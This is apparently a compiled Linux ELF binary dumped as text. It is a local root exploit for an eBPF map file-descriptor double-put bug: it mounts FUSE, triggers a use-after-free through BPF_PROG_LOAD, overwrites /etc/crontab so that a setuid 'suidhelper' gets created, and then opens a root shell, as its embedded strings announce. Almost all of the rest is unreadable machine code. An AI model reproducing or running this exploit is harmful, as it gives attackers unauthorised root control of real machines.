27 lines
14 KiB
Plaintext
27 lines
14 KiB
Plaintext
|
ELF >
|
|||
|
|
@ @ . @ 8 @ @ @ @ @ @ ø ø 8 8@ 8@ @ @ \ \ ` ` È à ( ( ` ( ` Ð Ð T T@ T@ D D Påtd Ä Ä@ Ä@ L L Qåtd Råtd ` ` ð ð /lib64/ld-linux-x86-64.so.2 GNU GNU ?Ž`Ž‰ÍLí¼bÑÕñÉ—›‡píp 9ò‹ L E ] r 2 > 9 ™ j € ž ‘ ¸ ° f x † q ‹ - c à ` libc.so.6 exit sprintf get_current_dir_name fork getpid mmap strlen writev __errno_location clone stderr system fwrite waitpid close open sleep syscall errx __libc_start_main __xstat __gmon_start__ GLIBC_2.2.5 ui Ç ø `
|
|||
|
|
à ` ` ` ( ` 0 ` 8 ` @ ` H ` P ` X ` ` `
|
|||
|
|
h ` p ` x ` € ` ˆ ` � ` ˜ ` ` ¨ ` ° ` ¸ ` À ` HƒìH‹m H…Àtè{ HƒÄà ÿ5b ÿ%d @ ÿ%b h éàÿÿÿÿ%Z h éÐÿÿÿÿ%R h éÀÿÿÿÿ%J h é°ÿÿÿÿ%B h é ÿÿÿÿ%: h é�ÿÿÿÿ%2 h é€ÿÿÿÿ%* h épÿÿÿÿ%" h é`ÿÿÿÿ% h éPÿÿÿÿ% h
|
|||
|
|
é@ÿÿÿÿ%
|
|||
|
|
h é0ÿÿÿÿ% h é ÿÿÿÿ%ú h
|
|||
|
|
éÿÿÿÿ%ò h é ÿÿÿÿ%ê h éðþÿÿÿ%â h éàþÿÿÿ%Ú h éÐþÿÿÿ%Ò h éÀþÿÿÿ%Ê h é°þÿÿÿ% h é þÿÿÿ%º h é�þÿÿÿ%â f� 1íI‰Ñ^H‰âHƒäðPTIÇÀ€@ HÇÁ@ HÇÇK@ èÿÿÿôf D ¸ß ` UH-Ø ` HƒøH‰åv¸ H…Àt]¿Ø ` ÿàf „ ]à @ f. „ ¾Ø ` UH�îØ ` HÁþH‰åH‰ðHÁè?HÆHÑþt¸ H…Àt ]¿Ø ` ÿà ]Ãf D €= uUH‰åènÿÿÿ]Æþ óà @ ¿ ` Hƒ? uë“ ¸ H…ÀtñUH‰åÿÐ]ézÿÿÿUH‰åH�ìP H‰½¸÷ÿÿdH‹%( H‰Eø1ÀèDþÿÿH‰…È÷ÿÿH‹�È÷ÿÿH‹•È÷ÿÿH�…ð÷ÿÿ¾¸@ H‰Ç¸ èVþÿÿH�…ð÷ÿÿH‰…à÷ÿÿH�…ð÷ÿÿH‰ÇèyýÿÿH‰…è÷ÿÿ¿@ è˜ýÿÿ…Àt¾‚@ ¿ ¸ èpýÿÿ¾ ¿’@ ¸ èìýÿÿ‰…Ä÷ÿÿƒ½Ä÷ÿÿÿu¾£@ ¿ ¸ è©ýÿÿH��à÷ÿÿ‹…Ä÷ÿÿº H‰Î‰ÇèÝüÿÿHƒøt¾º@ ¿ ¸ èýÿÿ‹…Ä÷ÿÿA¹ A‰À¹ º ¾ ¿ èËüÿÿH‰…Ð÷ÿÿHƒ½Ð÷ÿÿÿu¾Õ@ ¿ ¸ è&ýÿÿH‹o H‰Áº ¾ ¿ì@ èXýÿÿ‹^ H‹�Ð÷ÿÿº H‰Î‰Çè üÿÿH‰…Ø÷ÿÿHƒ½Ø÷ÿÿÿu¾ý@ ¿ ¸ èÇüÿÿH�…ð÷ÿÿH‰Çè(üÿÿH‰ÂH‹…Ø÷ÿÿH9Ât H‹…Ø÷ÿÿ‰Â¾ @ ¿ ¸ è üÿÿH‹Õ H‰ÁºX ¾ ¿ @ è¾üÿÿ¿ èÄüÿÿëôUH‰åAUATSH�ì^ dH‹%( H‰EØ1À¾ ¿y@ ¸ èOüÿÿ‰… ‹ ƒøÿu¾ƒ@ ¿ ¸ è
|
|||
|
|
üÿÿH�…°±ÿÿH N ¹ º H‰Æ¿ @ ¸ è!ûÿÿ‰…Ü¡ÿÿƒ½Ü¡ÿÿÿu¾™@ ¿ ¸ è¾ûÿÿ¿ èüÿÿÇ…Ô¡ÿÿ éå HÇ…¢ÿÿ HÇ…¢ÿÿ Æ…¢ÿÿ¶…¢ÿÿƒàƒÈˆ…¢ÿÿ‹Ë ‰…¢ÿÿH�•à¡ÿÿ¸ ¹ H‰×óH«Ç…à¡ÿÿ Ç…ä¡ÿÿ H�…¢ÿÿH‰…è¡ÿÿ¸Ÿ@ H‰…ð¡ÿÿH�…à¡ÿÿ¹0 H‰Â¾ ¿A ¸ èÑúÿÿHƒøÿt¾ @ ¿ ¸ èwúÿÿèúÿÿ‹ ƒøt¾Ð@ ¿ ¸ èÇúÿÿƒ…Ô¡ÿÿƒ½Ô¡ÿÿŽÿÿÿÇ…Ø¡ÿÿ Æ…Ó¡ÿÿH��à¡ÿÿ‹…Ü¡ÿÿº H‰Î‰Çè–úÿÿ;…Ü¡ÿÿu¾@ ¿ ¸ èúùÿÿ€½Ó¡ÿÿ „· ¾ ¿>@ ¸ èiúÿÿ‰Â‹…Ø¡ÿÿH˜‰”…¢ÿÿ‹…Ø¡ÿÿH˜‹„…¢ÿÿƒøÿu¾K@ ¿ ¸ èúÿÿ‹…Ø¡ÿÿH˜D‹¤…¢ÿÿ‹ V èUùÿÿA‰ÅèMùÿÿE‰áA‰Ø¹ D‰ê‰Æ¿8 ¸ èžùÿÿH…ÀtYƒ…Ø¡ÿÿ�½Ø¡ÿÿè …ÿÿÿÆ…Ó¡ÿÿ éÿÿÿƒØ¡ÿÿ‹…Ø¡ÿÿH˜‹„…¢ÿÿ‰Çè9ùÿÿƒ½Ø¡ÿÿ …ÚþÿÿÆ…Ó¡ÿÿéÎþÿÿ�H‹¸ H‰Áº ¾ ¿\@ è¡ùÿÿ¿ è§ùÿÿëôUH‰åH�ì° dH‹%( H‰Eø1Àè–ùÿÿ‰…\ÿÿÿƒ½\ÿÿÿÿu¾w@ ¿ ¸ èùÿÿƒ½\ÿÿÿ uè“üÿÿH�…`ÿÿÿH‰Æ¿|@ èá …Àt¾‡@ ¿ ¸ èÉøÿÿ‹…xÿÿÿ% …Àu ¿ èùÿÿë¹�H‹ö H‰Áº+ ¾ ¿˜@ èßøÿÿ¿ èÅøÿÿ D AWAVA‰ÿAUATL�%î UH�-î SI‰öI‰ÕL)åHƒìHÁýè?÷ÿÿH…ít 1Û „ L‰êL‰öD‰ÿAÿÜHƒÃH9ëuêHƒÄ[]A\A]A^A_Ã�f. „ óÃf. „ @ H‰òH‰þ¿ éÐ÷ÿÿHƒìHƒÄà * * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper
|
|||
|
|
# fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount system() failed fuse_mount/hello unable to open FUSE fd unable to write to FUSE fd unable to mmap FUSE fd starting writev
|
|||
|
|
writev failed writev returned %d writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
|
|||
|
|
/dev/null unable to open UAF fd clone expected BPF_PROG_LOAD to fail, but it didn't expected BPF_PROG_LOAD to fail with -EINVAL, got different error child quit before we got a good file* /etc/crontab open target file woohoo, got pointer reuse
|
|||
|
|
fork suidhelper stat suidhelper suid file detected, launching rootshell...
|
|||
|
|
;H Üóÿÿ” \õÿÿd Röÿÿ¼ jøÿÿÜ ‡ûÿÿü Lüÿÿ ¼üÿÿd Ìüÿÿ| zR x � ðôÿÿ* zR x � $ @óÿÿp FJ w€ ?;*3$" D Žõÿÿ A†C
|
|||
|
|
d †÷ÿÿ A†C
|
|||
|
|
L�Œƒ „ ƒúÿÿÀ A†C
|
|||
|
|
D ¤ (ûÿÿe B�BŽE �B(ŒH0†H8ƒM@r8A0A(B BBB ì Pûÿÿ Hûÿÿ ð
|
|||
|
|
@ Ð
|
|||
|
|
@ €@
|
|||
|
|
@ ` ` õþÿo ˜@ @ À@
|
|||
|
|
Ó ` p@ @@ 0 þÿÿo @ ÿÿÿo ðÿÿo ì@ ( ` ¶@ Æ@ Ö@ æ@ ö@ @ @ & @ 6 @ F @ V @ f @ v @ † @ – @ ¦ @ ¶ @ Æ @ Ö @ æ @ ö @
|
|||
|
|
@ GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.2) 5.4.0 20160609 8@ T@ t@ ˜@ À@ @ ì@ @ @@
|
|||
|
|
p@ €@ @
|
|||
|
|
|
|||
|
|
@
|
|||
|
|
@ @ °@ Ä@ @ ` ` ` ( ` ø ` ` È ` à ` ñÿ ` P
|
|||
|
|
@ �
|
|||
|
|
@ . Ð
|